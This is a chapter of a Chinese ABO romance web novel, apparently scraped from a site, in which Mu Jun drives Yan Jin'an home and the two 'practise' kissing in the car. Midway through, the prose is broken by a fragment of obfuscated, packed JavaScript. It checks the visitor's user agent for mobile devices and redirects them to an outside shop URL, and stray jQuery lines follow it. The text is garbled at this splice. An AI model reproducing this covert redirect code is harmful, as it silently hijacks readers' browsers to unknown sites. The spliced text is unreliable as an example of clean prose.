21.亲肿了

作品:《老实直男,但穿O揣崽

    不过晏执聿最终也没说什么。


    晏瑾桉送他上车,两人低声交谈。


    五米外,穆钧的胳膊都快被姜箬晃折了。


    姜箬就是个人精,刚才电梯里那氛围,哪里看不出他和晏瑾桉之间的小九九。


    但那是晏瑾桉!清大无人不知无人不晓的高岭之花晏瑾桉!


    姜箬恨不能把值夜班的沈寄川从医院薅过来,先和晏瑾桉合照五六十张,再详听这俩人命中注定我爱你的甜蜜故事。


    “我靠!你和晏瑾桉竟然有高达95%的匹配度!闷声干大事啊钧儿!”


    穆钧惊讶:“你认识他。”


    姜箬也不稀奇他的无知,穆钧两耳不闻窗外事,读书时不是上课就是竞赛。


    有姜箬科普,穆钧才得知,晏瑾桉三天两头就会在校园表白墙上出现,毕业后也不是做金融或去了大厂,而是进了政府部门。


    “具体情况,你自个儿问吧,反正应该比那大爷二爷的厉害。”


    那李阮还推荐什么保镖!镖他个大头鬼!


    待晏瑾桉侧过身来,姜箬极有眼色地一拍穆钧的屁股,“那啥,我有东西落上面了,你先走吧,不用等我!”


    说罢一溜烟地跑远。


    晏瑾桉已经朝他走来,穆钧不及遥望姜箬,“你……手上的伤好了吗?”


    “嗯,有你处理,当晚就好了。”晏瑾桉温和道,“冲锋衣,我下回带给你?”


    “好。”


    “那件衣服是要送给谁吗,要不我重新买一件?”


    “不是,我码数弄错了。”


    “那就行,不然就怕耽误你事情。”


    晏瑾桉望向穆钧清粼粼的眼瞳,“怎么办,我大哥把我丢在这里。”


    “……我送你。”原来是大哥。


    如愿坐上穆钧的副驾,才出停车场,晏瑾桉又道:“刚才电梯里那位,是你朋友?”


    “嗯,我本科舍友。”


    “你们看着感情很好。”


    “嗯。”


    都能打屁股了,刚才在电梯里还手牵手的,要不是知道穆钧对omega没兴趣,都得以为他俩才是一对。


    晏瑾桉双手环胸,霓虹灯光变幻,自窗外照在他没有弧度的唇角。


    心火浅浅燃着,将好脾气的外皮都烧得不见残存。


    穆钧专心开车,按导航行驶十五分钟,一路绿灯。不过越靠近晏瑾桉的住址,他的表情却越凝重。


    停车后,他急忙从储物盒里拿出除味剂,递给晏瑾桉,“麻烦你用一下这个。”


    而后又戴上口罩,再打开前后车窗,以及顶上的天窗。


    “……抱歉,我易感期快到了,最近容易收不住信息素。”


    晏瑾桉把除味剂从头喷到脚。


    他的易感期就在下周,近来情绪波动渐大,但也都在可控范围内,没成想一见穆钧就破了功。


    “没事,你早些休息。”穆钧嗡声送客。


    他偏过脸,呼吸间却还是有些糜烂气息的鸢尾香,腺体不安地躁动。


    匹配度越高,情热期的时间也越接近。


    是为了什么来着。


    穆钧在燥热中胡思乱想,好像,是为了方便繁衍后代。


    他靠着车门,企图通过冰冷的机器降温,但额际的温度已经到达低烧的标准,alpha的声音都模模糊糊:


    “之前我说,有不顺利的可以来找我,不仅只是工作上。”


    “……嗯。”


    “像刚才那种情况,你也可以依赖我。”


    穆钧的眼神飘过去,“?”


    晏瑾桉才和那个冯公子喝完茶吧,能立刻翻脸不认人?


    alpha柔柔笑着,“孰轻孰重,我还能分不清么。”


    之后又道:“刚才事发突然,和我计划的时机相差甚远,所以没介绍你和大哥认识。”


    穆钧思量着口服抑制剂的位置,他刚才在储物盒里没摸到。


    神思不属地回复:“我刚才,没出什么岔子吧?”


    晏瑾桉说:“没有,你表现得很好,他大概只觉得我很在意你。”


    “……噢。”腺体更热了。


    黑咖信息素微微发酸,泌着苦。


    穆钧还是不高兴,或许是他解释得还不到位。


    晏瑾桉拢住omega搭在中间的右手,靠过去轻声细语地:“年后,我一定带你回去坐坐。”


    回哪里。回晏瑾桉家吗。


    穆钧心里打鼓,立刻为年后还没影的拜访焦虑,讷讷地:“但我们还没练好……”


    原来是因为这个。


    也对,他们都四天没见面了。


    “来得及。”


    鸢尾香荡过来,穆钧缩在驾驶座里,口罩被单指勾下。


    顷刻间,像有一场雨,濡湿炙热将他的嘴唇全部覆住。


    “……”


    穆钧喜欢空间宽敞的座驾。


    上辈子钱不够,他也咬咬牙,贷款五万买了辆SUV。


    虽然那辆电车性能一般,但空间独立,上班午休时遮光帘一支,座椅一靠,他能睡满一个小时。


    这辈子家境好了不少,他买车更不含糊,在4S店挑了最高最壮的那款,看都不看销售推荐的“最受omega欢迎粉红小MINI”。


    还好没买小MINI,否则按晏瑾桉比他还高十几厘米的的身量来说,现在俩人挤一个位置,alpha的发顶都能被车盖蹭秃。


    “……专心点。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970680|192575||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >穆钧的唇珠被咬了一下,他张口吸气,又不受控制地呵出,冷热交替间,唇块已经被厮磨得发烫。


    第一次练习是由他主导(其实只有40%),接吻的角度与力道都还能把持个七七八八。


    但现在,晏瑾桉覆身过来,两臂撑在他身侧,膝盖也顶了一只在他的大腿边,灼灼地烙着他的皮肤。


    也不对,晏瑾桉的体温没那么高。


    穆钧反而觉得自己身上热得很,有数据表明,omega的体温平均比alpha要高个两三度,似乎也是为了受精卵在母体能更好孕育……


    停停停。


    他今晚神游的主题是不是有点太繁殖癌了。


    “……怎么总是走神。”


    晏瑾桉捏住他的下巴,与他拉开一点距离。


    车内没有开灯,但穆钧还是看到了他与晏瑾桉的嘴唇之间拉出一截短短的银丝,断开后,被alpha的拇指揩去。


    也不知道是谁的唾液,晏瑾桉侧脸嘬掉,狐狸眼反射着一点光。


    他问:“在想什么?”


    穆钧又想咬嘴唇了,可是嘴唇又热又胀,一抿还发酸,被蚊虫叮咬了似的,他不敢咬。


    只好小声吸着气,有点怂地说:“我感觉有点热。”


    晏瑾桉反手摸了一下空调风口,冷的,恒温25度。


    又抓了一下穆钧的掌心,滚烫着,肯定不止37度了。


    “感冒了?”晏瑾桉用另一只手背贴他的额头。


    犹觉不准确,又撩起自己的刘海,和他脸贴脸地靠在一块儿。


    好近好近好近。


    omega闭上眼,声如蚊蚋,“应该没有。”


    “嗯,你一直把自己照顾得很好。”晏瑾桉把他弄乱的发型整理好,“可能只是车里太闷热,再练一会儿?”


    穆钧弱弱道:“我们已经亲了十分钟了。”


    “上回也才十分钟,但今天是不是还有些生疏,你觉得呢?”


    穆钧什么也不觉得。


    但晏瑾桉双眼亮晶晶地望来,他招架不住,只能从鼻子里弱弱“嗯”了声。


    于是他们又练习了十分钟,晏瑾桉才下的车。


    离开前还友情提示:“这周还有两次。”


    回家后,穆钧翻箱倒柜,找出去年生日姜箬送给他的镇定唇膜,照说明书敷好,又打开日历。


    今天周三,要在周五进行第二次吗,嘴唇到时候能不能消肿还是个问题……


    可是周六和周日连着两天练习,频率也太密集了,更不利于恢复。


    穆钧深感悲催。


    他不是在按部就班地逃避结婚和怀孕吗?


    到底是哪步出了错,让他在睡前挑选和男人啵嘴的最佳日期啊?